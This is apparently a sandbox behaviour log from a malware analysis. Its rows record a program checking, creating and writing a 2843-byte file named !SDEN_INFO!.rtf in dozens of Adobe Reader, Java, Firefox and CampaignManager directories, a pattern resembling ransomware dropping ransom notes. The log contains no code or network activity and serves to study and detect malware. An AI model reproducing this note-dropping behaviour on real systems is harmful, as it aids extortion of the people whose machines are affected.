File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES-valencia\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-HK\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CL\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CA\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\it-IT\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\it-IT\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\it-IT\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-BE\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sk-SK\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-TW\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
